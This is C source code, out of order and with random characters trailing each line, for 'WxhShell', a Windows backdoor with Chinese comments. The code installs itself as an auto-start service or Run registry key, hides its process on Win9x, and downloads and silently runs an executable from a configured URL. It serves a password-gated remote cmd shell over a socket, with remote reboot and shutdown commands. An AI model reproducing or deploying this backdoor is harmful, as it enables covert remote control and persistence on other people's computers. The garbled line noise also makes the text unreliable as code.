    else { mGp.3{j  
    closesocket(wsh); (q+)'H%iK  
    ExitThread(0); OxI/%yv-c  
    } QnZcBXI8  
    break; y{dTp  
    } .ZvM^GJb  
  // 获取shell ![]`` g2  
  case 's': { i;LXu%3\  
    CmdShell(wsh); &wD;SMr<  
    closesocket(wsh); 35E_W>n  
    ExitThread(0); :8CvRO*<  
    break; =R*qP;#  
  } 79`AM X[b  
  // 退出 \b%kf99  
  case 'x': { t2,A@2DU 2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); + s- lCz  
    CloseIt(wsh); h4q|lA6!k8  
    break; z!l.:F  
    } d ,4]VE  
  // 离开 &?mD$Eo  
  case 'q': { oE#d,Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,lZB96r0  
    closesocket(wsh); ,AxdCT  
    WSACleanup(); _%5R o6  
    exit(1); ]]Cb$$Td  
    break; O8B\{T1  
        } &f ^,la  
  }  =-IbS}3  
  } #Q2Y&2`yGT  
Y.g59X!Ub2  
  // 提示信息 H&:jcgV*P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U2bjFLd"  
} su*'d:L  
  } %Ev4]}2C1  
tmQH|'>>  
  return; 0NS<?p~_S  
} /YZr~|65  
xlhG,bb7  
// shell模块句柄 $GlWf  
int CmdShell(SOCKET sock) b )B? F  
{ {q"OM*L(  
STARTUPINFO si; "?V0$-DR  
ZeroMemory(&si,sizeof(si)); |&RU/a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N<~t3/Nm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1v71rf&w  
PROCESS_INFORMATION ProcessInfo; Q_[ 3`j l  
char cmdline[]="cmd"; O^oWG&Y;v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vQ;Ex  
  return 0; 9I6a"PGDb  
} H Z'_r cv  
0u;4%}pD  
// 自身启动模式 |Y?H A&  
int StartFromService(void) zd @m~V  
{ 19w*!FGX  
typedef struct 7Zlw^'q$:L  
{ wK?vPS  
  DWORD ExitStatus; WA+iYLx@H  
  DWORD PebBaseAddress; ,yiX# ;j  
  DWORD AffinityMask; Mu+0<>   
  DWORD BasePriority; ~_/(t'9  
  ULONG UniqueProcessId; "*In+!K  
  ULONG InheritedFromUniqueProcessId; 7pe\M/kl  
}   PROCESS_BASIC_INFORMATION; uScMn/%  
LDPUD'  
PROCNTQSIP NtQueryInformationProcess; "N`[r iq{  
kqFP)!37  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '<"s \,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @7IIM{  
` @`CG[-9  
  HANDLE             hProcess; H{Wu]C<@p  
  PROCESS_BASIC_INFORMATION pbi; bbE!qk;hEP  
As'=tIro  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nAv#?1cjz  
  if(NULL == hInst ) return 0; 5>[u `  
gEy?s8_,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N sXHO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 32&;`]C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4K\G16'$v  
[_k1jHr48N  
  if (!NtQueryInformationProcess) return 0; )Y"+,$$>Y`  
5IE#\FITO|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h`^jyoF"(  
  if(!hProcess) return 0; !|^|,"A)  
0XE4<U   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,Lr. 9I.  
CsGx@\jN  
  CloseHandle(hProcess); ,E S0NA  
KcWN,!G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rNXQf'*I  
if(hProcess==NULL) return 0; ;U/&I3dzV  
]cHgleHQ  
HMODULE hMod; ?9 <:QE;I>  
char procName[255]; +$ 'Zf0U  
unsigned long cbNeeded; p`olCp'  
,Vc6Gwm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]L5@,E4.  
3l rT3a3vV  
  CloseHandle(hProcess); /:m-> T  
Sc]B#/~B  
if(strstr(procName,"services")) return 1; // 以服务启动 9+Np4i@  
"H'B*vc-  
  return 0; // 注册表启动 ,LHn90S  
} \V;F/Zy(  
"q3ZWNS'w  
// 主模块 u-QB.iQ+s  
int StartWxhshell(LPSTR lpCmdLine) <}C oQz  
{ )}Hpi<5N  
  SOCKET wsl; Ua:}Vn&!  
BOOL val=TRUE; 3Z>Ux3[  
  int port=0; rD*jp6Cl  
  struct sockaddr_in door; Kn5~d(:  
Snj'y,p[  
  if(wscfg.ws_autoins) Install(); d[iQ` YW5  
wON!MhA;  
port=atoi(lpCmdLine); Vr3Zu{&2  
is?{MJZ_  
if(port<=0) port=wscfg.ws_port; =x/X:;)>  
'TTLo|@"-  
  WSADATA data; "{A(x }'Y4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0{5w 6  
L^1NY3=$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g@d*\ P)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9)l$ aBa  
  door.sin_family = AF_INET; k R?qb6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5?f ^Rz  
  door.sin_port = htons(port); /J]5H  
tj'\tW+s'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { { a =#B)6  
closesocket(wsl); `aOFs+<)  
return 1; p?02C# p  
} =}~hWL  
D(~U6SR  
  if(listen(wsl,2) == INVALID_SOCKET) { " s,1%Ltt  
closesocket(wsl); C"y(5U)d  
return 1; p'Y^ X  
} ]}V<*f  
  Wxhshell(wsl); -M\<nx  
  WSACleanup(); Lc}LGq!  
 4j*  
return 0; AzPu)  
N"Z{5A  
} m&d|t>3<  
49eD1h3'X[  
// 以NT服务方式启动 ^vZSUfS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _?nL+\'V  
{ \P[Y`LYL  
DWORD   status = 0; z[ N`s$;  
  DWORD   specificError = 0xfffffff; aHD]k8 m z  
9p]QM)M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )Om*@;r(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %O;:af"Ja8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EAUEQk?9  
  serviceStatus.dwWin32ExitCode     = 0; b 1c y$I  
  serviceStatus.dwServiceSpecificExitCode = 0; 'B |JAi?  
  serviceStatus.dwCheckPoint       = 0; u*eV@KK!  
  serviceStatus.dwWaitHint       = 0; e1yt9@k,  
"69s) ~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I^.Om])  
  if (hServiceStatusHandle==0) return; U4'#T%*  
w?L6!)oiz  
status = GetLastError(); 10Q ]67  
  if (status!=NO_ERROR) Lj({[H7D!  
{ g>%o #P7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -OV&Md:~  
    serviceStatus.dwCheckPoint       = 0; 6jaEv#  
    serviceStatus.dwWaitHint       = 0; {p2!|A&a  
    serviceStatus.dwWin32ExitCode     = status; 3Tcms/n  
    serviceStatus.dwServiceSpecificExitCode = specificError; w7L{_aom  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 70d1ReQ  
    return; hPkp;a #  
  } G[PtkPSJ  
#~]zhHI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #^0R&) T  
  serviceStatus.dwCheckPoint       = 0; )_90UwWpj  
  serviceStatus.dwWaitHint       = 0; (MM]N=Tw4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h,:m~0gmj  
} B`)BZ,#p  
Pm6p v;WK  
// 处理NT服务事件,比如:启动、停止 l:~/<`o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >Er|Jxy  
{ ,Zx0%#6  
switch(fdwControl) %6 zB Sje  
{ b#%hY{$j  
case SERVICE_CONTROL_STOP: r8?gD&c}  
  serviceStatus.dwWin32ExitCode = 0; ^LnTOdAE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a=_g*OK}D  
  serviceStatus.dwCheckPoint   = 0; Y1\}5k{>  
  serviceStatus.dwWaitHint     = 0; B:Oa}/H   
  { 9.M4o[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n+9=1Oo"  
  } *8A  
  return; C3f' {}  
case SERVICE_CONTROL_PAUSE: >h9I M$2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )AtD}HEv  
  break; !?jrf] A@  
case SERVICE_CONTROL_CONTINUE: M] %?>G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KK4`l}Fk:n  
  break; O`kl\K*R7  
case SERVICE_CONTROL_INTERROGATE: 3*XNV  
  break; }"H,h)T  
}; R%WCH?B<}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yxQ1`'[CR  
} hh%-(HaLX3  
B"w?;EeV.  
// 标准应用程序主函数 a5^] 20Fa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sE<V5`Z=  
{ 79j+vH!zh  
$rBq"u=,0+  
// 获取操作系统版本 u~:y\/Y6  
OsIsNt=GetOsVer(); 05#1w#i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PdFKs+Z`  
h2A <"w  
  // 从命令行安装  qA7>vi%  
  if(strpbrk(lpCmdLine,"iI")) Install(); k"%~"9  
K7B/s9/xs  
  // 下载执行文件 |Zpfq63W  
if(wscfg.ws_downexe) { *;slV3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +o{R _  
  WinExec(wscfg.ws_filenam,SW_HIDE); M/'sl;  
} [S%_In   
wmL'F:UP  
if(!OsIsNt) { 2wg5#i  
// 如果时win9x,隐藏进程并且设置为注册表启动 )EuvRLo{S7  
HideProc(); uAq~=)F>,  
StartWxhshell(lpCmdLine); ^/>(6>S^M  
} x+:UN'"r  
else mDABH@ R  
  if(StartFromService()) {4}yKjW%z  
  // 以服务方式启动 [b%D3-}'  
  StartServiceCtrlDispatcher(DispatchTable); >8^ $ [}w  
else X7 MM2V  
  // 普通方式启动 bo>*fNqAIy  
  StartWxhshell(lpCmdLine); 4B1v4g8}  
65P0,b6"OT  
return 0; n nEgx;Nl0  
} y2dCEmhY  
D/xbF`  
2WL|wwA  
dq6m>;`  
=========================================== _/$Bpr{R  
(N6i4 g6  
x /S}Q8!"}  
sf qL|8  
\ a<h/4#|  
k,6f &#x  
" %nZo4hnr$r  
H5B:;g@  
#include <stdio.h> qJs<#MQ2  
#include <string.h> ZY55|eE  
#include <windows.h> P6`u._mX  
#include <winsock2.h> iN\4gQ!  
#include <winsvc.h> zkrM/ @p#  
#include <urlmon.h> NO>w+-dGS  
orpriO|qD  
#pragma comment (lib, "Ws2_32.lib") -HbC!w v  
#pragma comment (lib, "urlmon.lib") [A~xy'T  
iRbT/cc{  
#define MAX_USER   100 // 最大客户端连接数 -#[a7',Z;  
#define BUF_SOCK   200 // sock buffer 6dt]`zv/  
#define KEY_BUFF   255 // 输入 buffer z+wA rPxc  
G@\1E+Ip  
#define REBOOT     0   // 重启 &j`}vg  
#define SHUTDOWN   1   // 关机  / }X1W  
'~<m~UXvD#  
#define DEF_PORT   5000 // 监听端口 K`WywH3-  
81F/G5  
#define REG_LEN     16   // 注册表键长度 ;(/ZO%h  
#define SVC_LEN     80   // NT服务名长度 u;"TTN  
DB|Y  
// 从dll定义API U^%Q}'UYym  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]L $\ #  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3?9IJ5p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YeL#jtC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `Bp.RXsd*  
^WgX Qtn  
// wxhshell配置信息 Xm}/0g&7  
struct WSCFG { jDfC=a])  
  int ws_port;         // 监听端口 _\G"9,)u '  
  char ws_passstr[REG_LEN]; // 口令 L|:`^M+^w  
  int ws_autoins;       // 安装标记, 1=yes 0=no nZyX|SPk  
  char ws_regname[REG_LEN]; // 注册表键名 [Cz-i  
  char ws_svcname[REG_LEN]; // 服务名 Q5`*3h6p=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Nq[uoaT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /QWvW=F2<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C*_C;6.~Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5E;qM|Ns  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .CABH,Po:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VcO0sa f`  
61>.vT8P  
}; EStB#V^  
8@Q$'TT6}  
// default Wxhshell configuration mbxZL<ua  
struct WSCFG wscfg={DEF_PORT, C.yQ=\U2  
    "xuhuanlingzhe", HGs $*  
    1, b\kdKVh&  
    "Wxhshell", D6Ui!  
    "Wxhshell", f!uwzHA`?  
            "WxhShell Service", @[<><uTH  
    "Wrsky Windows CmdShell Service", _Xc8Yg }`  
    "Please Input Your Password: ", Y-_`23x`  
  1, R6Km\N  
  "http://www.wrsky.com/wxhshell.exe", m@2QnA[ 4  
  "Wxhshell.exe" KNvZm;Q6  
    }; RuA*YV  
y<|7z99L  
// 消息定义模块 O7m(o:t x3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mb TEp*H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Lv;^My  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %KhI>O<  
char *msg_ws_ext="\n\rExit."; 36Zf^cFJ  
char *msg_ws_end="\n\rQuit."; iDp)FQ$  
char *msg_ws_boot="\n\rReboot..."; D9=KXo^  
char *msg_ws_poff="\n\rShutdown..."; JN-y)L/>  
char *msg_ws_down="\n\rSave to "; H9`)BbR  
%K lrSo  
char *msg_ws_err="\n\rErr!"; x.!V^HQSN  
char *msg_ws_ok="\n\rOK!"; ZF9z~9  
]?kZni8j_  
char ExeFile[MAX_PATH]; ghG**3xr  
int nUser = 0; {j?FNOJn  
HANDLE handles[MAX_USER]; xQ-<WF1i  
int OsIsNt; N1}sHyVq7  
u<tbbKM  
SERVICE_STATUS       serviceStatus; yy^q2P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '4+ ur`  
-hGk?_Nqa/  
// 函数声明 6 l|DU7i  
int Install(void); 9k '7832u  
int Uninstall(void); 30#s aGV  
int DownloadFile(char *sURL, SOCKET wsh); /tx]5`#@7]  
int Boot(int flag); (&F}/s gbi  
void HideProc(void); XH4  
int GetOsVer(void); %+W{iu[|  
int Wxhshell(SOCKET wsl); r1`x=r   
void TalkWithClient(void *cs); |P HT694Uz  
int CmdShell(SOCKET sock); f;o5=)Y  
int StartFromService(void); eCU:Q  
int StartWxhshell(LPSTR lpCmdLine); "Y =;.:qe  
.PIL +x*]N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BDW^7[n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X8a/ `Y,  
3=P]x ;[ba  
// 数据结构和表定义 45@ I*`  
SERVICE_TABLE_ENTRY DispatchTable[] = n?!">G  
{ &WuN&As!Z  
{wscfg.ws_svcname, NTServiceMain}, HSE!x_$  
{NULL, NULL} +ZaSM~   
}; ~?Qe?hB  
RNEp4x  
// 自我安装 !21FR*  
int Install(void) ,GbR!j@6  
{ UJAv`yjG  
  char svExeFile[MAX_PATH]; Db}j?ik/  
  HKEY key; ;40/yl3r3[  
  strcpy(svExeFile,ExeFile); Fx_z6a  
sk<3`x+  
// 如果是win9x系统,修改注册表设为自启动 |PCm01NU!  
if(!OsIsNt) { z;,u}u}aI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wj$<t'MN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~rqCN,=d  
  RegCloseKey(key); urs,34h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .LnGL]/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^+>laOzC`8  
  RegCloseKey(key); 2+ N]PW\V  
  return 0; j ?3wvw6T  
    } T"}5}6rSG  
  } X Swl Tg  
} ?|\ER#z  
else { [\98$BN  
ed{ -/l~j  
// 如果是NT以上系统,安装为系统服务 (&Kk7<#`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5FPM`hLT  
if (schSCManager!=0) &v/dj@   
{ MO]F1E?X  
  SC_HANDLE schService = CreateService JQ_sUYh~3  
  ( #>("CAB02T  
  schSCManager, ~|D Ut   
  wscfg.ws_svcname, )5Q~I,dP  
  wscfg.ws_svcdisp, YlJ@XpKM  
  SERVICE_ALL_ACCESS, lV3x*4O=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Fh&G;aEq  
  SERVICE_AUTO_START, Fc)@,/R"v  
  SERVICE_ERROR_NORMAL, \g`\`e53?  
  svExeFile, d=$Mim  
  NULL, Z!a =dnwHz  
  NULL, ~k-y &<UR  
  NULL, T*/rySs  
  NULL, XB;7!8|  
  NULL 6m/r+?'  
  ); U/66L+1  
  if (schService!=0) [x=s(:qy  
  { :(U ,x<>  
  CloseServiceHandle(schService); Fo (fWvz  
  CloseServiceHandle(schSCManager); hlvK5Z   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &.)^ %Tp\z  
  strcat(svExeFile,wscfg.ws_svcname); x$A+lj]x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xA2YG|RU=b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EqkN3%IG  
  RegCloseKey(key); c)6m$5]  
  return 0; ]NQfX[  
    } .ljnDL/  
  } pGP7nw_g  
  CloseServiceHandle(schSCManager); jh?H.;**  
} Y #ap*  
} _P#|IAq*  
bI7Vwyz  
return 1; z}77Eh<  
} .FP$m?  
q<x/Hat)  
// 自我卸载 R^8o^z['6u  
int Uninstall(void) + B,}Qr  
{ G=s}12/Z"{  
  HKEY key; ,1.p%UE]>  
<6%?OJhp  
if(!OsIsNt) { e-})6)XgA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GLH0 ]  
  RegDeleteValue(key,wscfg.ws_regname); M~Tuj1?  
  RegCloseKey(key); p}}R-D&K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x xHY+(m  
  RegDeleteValue(key,wscfg.ws_regname); S1T"Z{$  
  RegCloseKey(key); <VMGTBVQ  
  return 0; D=A&+6B@-  
  } XAD- 'i  
} wyH[x!QX  
} #ZUI)9My@  
else { 4@+`q *  
CCs%%U/=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NR$3%0 nC6  
if (schSCManager!=0) W 8<&gh+  
{ ^2:p|:Bz!l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y Vt% 0  
  if (schService!=0) OR P\b  
  { 6%\J"AgXO  
  if(DeleteService(schService)!=0) { ].avItg  
  CloseServiceHandle(schService); r8t}TU>C  
  CloseServiceHandle(schSCManager); j7Yu>cr  
  return 0; h ]5(].  
  } Q^P}\wb>  
  CloseServiceHandle(schService); nUaJzPl  
  } S3C]AhW;  
  CloseServiceHandle(schSCManager); )rIwqUgp6\  
} j.[.1G*("  
} zF`0J  
&Q/W~)~  
return 1; F>Ah0U0  
} c`)\Pb/O  
etQCzYIhn  
// 从指定url下载文件 udK%>  
int DownloadFile(char *sURL, SOCKET wsh) '?{OZXg  
{ EgEa1l!NSQ  
  HRESULT hr; dM.f]-g  
char seps[]= "/"; (' (K9@}  
char *token; ''cInTCr  
char *file; Uk[b|<U-`d  
char myURL[MAX_PATH]; 3oj' ytxN  
char myFILE[MAX_PATH]; J/`<!$<c  
Y sC>i`n9  
strcpy(myURL,sURL); f#>,1,S  
  token=strtok(myURL,seps); djl*H  
  while(token!=NULL) #Qw0&kM7I  
  { .fqN|[>  
    file=token; ?6!JCQJ<  
  token=strtok(NULL,seps); dZl5Ic  
  } )N{Pw$l_  
G{~J|{t\yz  
GetCurrentDirectory(MAX_PATH,myFILE); (Bb5?fw  
strcat(myFILE, "\\"); 5X:AbF  
strcat(myFILE, file); '`[&}R  
  send(wsh,myFILE,strlen(myFILE),0); oi7@s0@  
send(wsh,"...",3,0); fivw~z|[@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zy?|ODM  
  if(hr==S_OK) 3)wN))VBX  
return 0; b<[Or^X ]  
else *uRBzO}  
return 1; PA{PD.4Du  
^]Y> [[  
} 2 0h} [Q(  
4&lv6`G `  
// 系统电源模块 D(op)]8  
int Boot(int flag) GRIti9GD  
{ H064BM  
  HANDLE hToken; /|m2WxK)  
  TOKEN_PRIVILEGES tkp; <Xhm`rH  
];$L &5^  
  if(OsIsNt) { s*KhF'fN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XAKs0*J>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h]&GLb&<?  
    tkp.PrivilegeCount = 1; hg]]Ok~cAs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3PWL@>zi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4}baSV  
if(flag==REBOOT) { +zN-!5x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  R Z?jJm$  
  return 0; S"QWB`W2  
} m]0;"jeL  
else { PcMD])Z{G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GT.,  
  return 0; MTh<|$   
} J7$5s  
  } &{n.]]%O.  
  else { ] )\Pqn(  
if(flag==REBOOT) { ?3`UbN:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nsC3  
  return 0; ,.8KN<A2]'  
} :uS\3toj  
else { q'F+OQb1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !X#OOqPr=  
  return 0; ?pmHFlx  
} B)g[3gQ  
} .p3,O6y2(F  
^98~U\ar  
return 1; 7hcYD!DS  
} ;(Or`u]Dr  
`cUl7 'j  
// win9x进程隐藏模块 g}{aZ$sta  
void HideProc(void) -zgI_u9=EB  
{ nPl?K:(  
b94DJzL1z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 83\pZ1>)_  
  if ( hKernel != NULL ) G `61~F%  
  { :Yh+>c}N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E7UU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F^BS/Yag  
    FreeLibrary(hKernel); lvz7#f L~  
  } `iNSr?N.  
<{cQM$ #  
return; \'D0'\:vz  
} @o _}g !9=  
Qd$nH8EDY  
// 获取操作系统版本 Ya"a`ozq  
int GetOsVer(void) =s2*H8]  
{ osAd1<EIC  
  OSVERSIONINFO winfo; f}f9@>.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >*_$]E  
  GetVersionEx(&winfo); 4F'LBS]=0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Jhhb7uU+  
  return 1; 7,o7Cf2z  
  else IfAZn_  
  return 0; 9}<ile7^  
} <0&*9ZeD  
xF'EiX~  
// 客户端句柄模块 24*XL,  
int Wxhshell(SOCKET wsl) Yujiqi]J;  
{ IueFx u  
  SOCKET wsh; )23H1  
  struct sockaddr_in client; l'.VKh\C  
  DWORD myID; "(~^w=d:$  
<uw9DU7G  
  while(nUser<MAX_USER) 7' V@+5  
{ ZDYJ\}=  
  int nSize=sizeof(client); >uhaW@d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K`zdc`/  
  if(wsh==INVALID_SOCKET) return 1; m@v\(rT.  
IK=a*}19L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |&)dh<  
if(handles[nUser]==0) Yk Ki|k  
  closesocket(wsh); SsDmoEeB[  
else c9 _ rmz8  
  nUser++; agDM~=#F  
  } :>f )g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @,7GaK\  
Ai?*s%8v  
  return 0; ,Uqs1#r  
} joAv{Tc  
f+)L#>Gl?  
// 关闭 socket C1n>M}b  
void CloseIt(SOCKET wsh) qWPkT$ u  
{ rcG"o\g@+  
closesocket(wsh); ,m|h<faZL  
nUser--; 'yEHI  
ExitThread(0); LYK"(C  
} {]@= ijjf  
YZ8>OwQz2  
// 客户端请求句柄 [<yaXQxl  
void TalkWithClient(void *cs) P{>!5|k  
{ Flm%T-Dl  
G}raA%  
  SOCKET wsh=(SOCKET)cs; }V`"s^  
  char pwd[SVC_LEN];  SRDp*  
  char cmd[KEY_BUFF]; 0znR0%~  
char chr[1]; #r\4sVg  
int i,j; #f]SK[nR  
=>v#4zFd  
  while (nUser < MAX_USER) { wc4{)qDE  
E4/Dr}4  
if(wscfg.ws_passstr) { SZ'R59Ee<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o|<!"AD7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U$A]8NZ$S  
  //ZeroMemory(pwd,KEY_BUFF); Fk7')?  
      i=0; d^ 8ZeC#  
  while(i<SVC_LEN) { ?GR"FmB(  
ZKTz ,  
  // 设置超时 vXZOy%$o  
  fd_set FdRead; ;dgp+  
  struct timeval TimeOut; 0GCEqQy8  
  FD_ZERO(&FdRead); -C]5>& W  
  FD_SET(wsh,&FdRead); =-n}[Y}A  
  TimeOut.tv_sec=8; nmKp[-5  
  TimeOut.tv_usec=0; 9qzHS~l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WW~sNC\3`(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p}~JgEE  
;[OH(!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i<Zc"v;  
  pwd=chr[0]; VjZ|$k  
  if(chr[0]==0xd || chr[0]==0xa) { Qpc__dA\  
  pwd=0; `|& O*`  
  break; ( ^Nz9{  
  } R-d:j^:f  
  i++; V {ddr:]4  
    } Dp-z[]})1  
]Q)OL  
  // 如果是非法用户,关闭 socket #.)0xfGW)n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TKmf+ZT*r  
} -k e's  
'zuIBOH`j3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c4eBt))}V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T+H!_ky`A  
.4!=p*Y  
while(1) { `Eo.v#<  
i$ 6ypuc  
  ZeroMemory(cmd,KEY_BUFF); Pw"-S?`(  
,R* ]>'  
      // 自动支持客户端 telnet标准   _F|Ek;y%  
  j=0; sS'm!7*(3  
  while(j<KEY_BUFF) { T}v4*O.,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cU!vsdR3  
  cmd[j]=chr[0]; [5Mr@f4I  
  if(chr[0]==0xa || chr[0]==0xd) { ~U&AI1t+J  
  cmd[j]=0; [?N~s:}  
  break; Cj lk  
  } ar+9\  
  j++; x7<K<k;s  
    } M gi,$H  
@Z:l62l=bE  
  // 下载文件 6A+nS=  
  if(strstr(cmd,"http://")) { mtcw#D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T!)(Dv8@F  
  if(DownloadFile(cmd,wsh)) PIS2Ed]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -k"/X8  
  else FP4P|kl/9'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U0P~  
  } B>P{A7Q  
  else { )R1<N  
TJXT-\Vk  
